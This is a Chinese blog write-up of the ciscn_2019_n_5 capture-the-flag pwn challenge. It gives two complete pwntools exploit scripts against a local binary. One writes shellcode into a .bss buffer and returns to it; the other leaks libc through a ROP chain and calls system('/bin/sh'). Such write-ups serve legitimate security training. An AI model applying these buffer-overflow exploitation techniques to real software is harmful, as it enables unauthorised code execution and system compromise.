首页 > 其他分享 >ciscn_2019_n_5

ciscn_2019_n_5

时间:2023-12-30 23:56:34浏览次数:28  
标签:addr p64 puts 2019 io ciscn

ciscn_2019_n_5

  • ret2shellcode
  • libc泄露

image-20231228140132298

  1. 程序没有开启NX保护,并且是RWX权限可以运行段上代码
  2. 预期解:往name中写入shellcode,再利用get转跳到相应的.bss段上运行shellcode
  3. 非预期解:通过get泄露puts()地址,泄露libc地址,劫持程序流得到shell.注意这里64($rdi)32位程序传参的不同.
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
p=process('./ciscn_2019_n_5')
p.recvuntil(b'name\n')
p.sendline(shellcode)
p.recvuntil(b'me?\n')
name=0x601080
payload=b'a'*0x28+p64(name)
p.sendline(payload)
p.interactive()
from pwn import *
#io = gdb.debug('./ciscn_2019_n_5','b *0x40067a')
context.log_level = 'debug'
io = process('./ciscn_2019_n_5')
#io = gdb.debug('./ciscn_2019_n_5','b main')
elf = ELF('./ciscn_2019_n_5')
Lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
padding = 0x20
#泄露libc
io.sendlineafter('tell me your name\n',b'1')
#padding+pop_rdi+puts_got+puts_plt+main_addr
payload1 = b'A'*0x28+p64(0x0000000000400713)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.sendlineafter('What do you want to say to me?\n',payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print('puts_addr ->',hex(puts_addr))
io.sendlineafter('tell me your name\n',b'1')
#payload构造
Liboffset = puts_addr-Lib.sym['puts']
sys_addr = Lib.sym['system']+Liboffset
bin_sh_addr = next(Lib.search(b'/bin/sh'))+Liboffset
payload2 = b'A'*(0x28)+p64(0x0000000000400713)+p64(bin_sh_addr)+p64(0x00000000004004c9)+p64(sys_addr)
io.sendlineafter('What do you want to say to me?\n',payload2)
io.interactive()

标签:addr,p64,puts,2019,io,ciscn
From: https://www.cnblogs.com/bamuwe/p/17937076

相关文章

  • ciscn_2019_ne_5
    ciscn_2019_ne_532位ROP劫持程序逻辑/bin/sh的替代方案sh栈上覆盖ROPgadgets查找字符串GetFlag函数1.GetFlag函数中把先前AddLog中加入的src变量赋给了dest,这里存在溢出2.Print函数中有system函数,通过plt_system利用3.通过ROPgadgets得到sh字符串构造pay......
  • Docker安装sqlserver-2019(已做持久化)
    Docker安装sqlserver-2019一.新建挂载目录并赋权mkdirsqlservercdsqlservermkdir-p/data/mssql#给目录赋予写的权限,不然在容器启动的时候,文件无法挂载chmod-R777./data/mssql二.准备docker-compose文件#在预先创建的sqlserver目录下vidocker-compose.yml#写入......
  • 2019 考研English英语二
    参考范文DearProf.Smith,It’smypleasuretoplanthedebateoncitytraffic,andIamwritingmainlytoputforwardadviceonthetopicofthisdebateandintroducemypreliminaryarrangementsconcerned.Tobeginwith,thedebatecanbeconduc......
  • Windows Server 2019-Powershell之客户端加域
    将本地计算机添加到域或工作组,可通过Add-Computer命令操作,具体信息如下:语法:Add-Computer[-DomainName][-ComputerName<String[]>][-Confirm]-Credential[-Force][-LocalCredential][-NewName][-OUPath][-Options{AccountCreate|Win9XUpgrade|UnsecuredJoi......
  • P5333 [JSOI2019] 神经网络
    题面传送门本来以为\(m\)这么小是\(m\sumk_i\logk\)的NTT的,写完发现一点不用(首先我们发现,这样的图上面的一个哈密顿回路可以表示成原森林若干条链,每个点都在其中一条链上,且相邻两条链不在同一棵树上。先跑一个DP把\(f_{i,j}\)表示用\(j\)条链覆盖\(i\)的方案数......
  • [SNOI2019] 网络 题解
    [SNOI2019]网络题解最喜欢这道题。简要题意给一颗\(n\)个节点的树和一个参数\(d\),定义两个节点\(x,y\)之间的距离为\(x\)到\(y\)的简单路径上的边数。定义一个树上连通块的权值为连通块中任意两点的距离之和。定义一个树上连通块的直径为连通块中任意两点距离的最......
  • VS2019,无法启动程序xxx.exe,系统找不到指定的文件,重新生成解决方案报错
     调试程序报错如图一、尝试重新生成解决方案二、如果生成解决方案也报错,重新安装.netSDK本人所用为VS2019,.net5,到官网下载.net5的SDK重新安装后,恢复正常,重新生成成功,启动调试成功。.net各版本下载地址:https://dotnet.microsoft.com/en-us/download/dotnet.net5下载地址:h......
  • QAxObject 解析 excel 时报错error LNK2019: 无法解析的外部符号
    QT5+VS2019项目中使用excel输出表格 1.无法打开源文件"QAxObject" 解决办法:办法1.头文件换成:#include<ActiveQt/QAxObject>办法2.在项目->属性->QtProjectSetting->QTmodules勾选ActiveQtContainer 2.头文件没问题后,编译也通过了,然后调试又有新的错误 头文件没......
  • office2019专业增强版word功能讲解及安装包收集整理
    简介Office2019专业增强版是微软最新推出的办公软件,相信大家对这款软件并不陌生。这款软件提供了许多实用的功能,例如多显示器优化功能。当我们使用两个显示器时,很难保证它们的分辨率完全相同,因此在不同显示器上显示文档时可能会出现差异。使用多显示器优化功能可以有效地避免在不同......
  • Windows Server 2019 中文版、英文版下载 (updated Dec 2023)
    WindowsServer2019中文版、英文版下载(updatedDec2023)WindowsServer2019Version1809,2023年12月更新请访问原文链接:https://sysin.org/blog/windows-server-2019/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org本站将不定期发布官方原版风格月度更新I......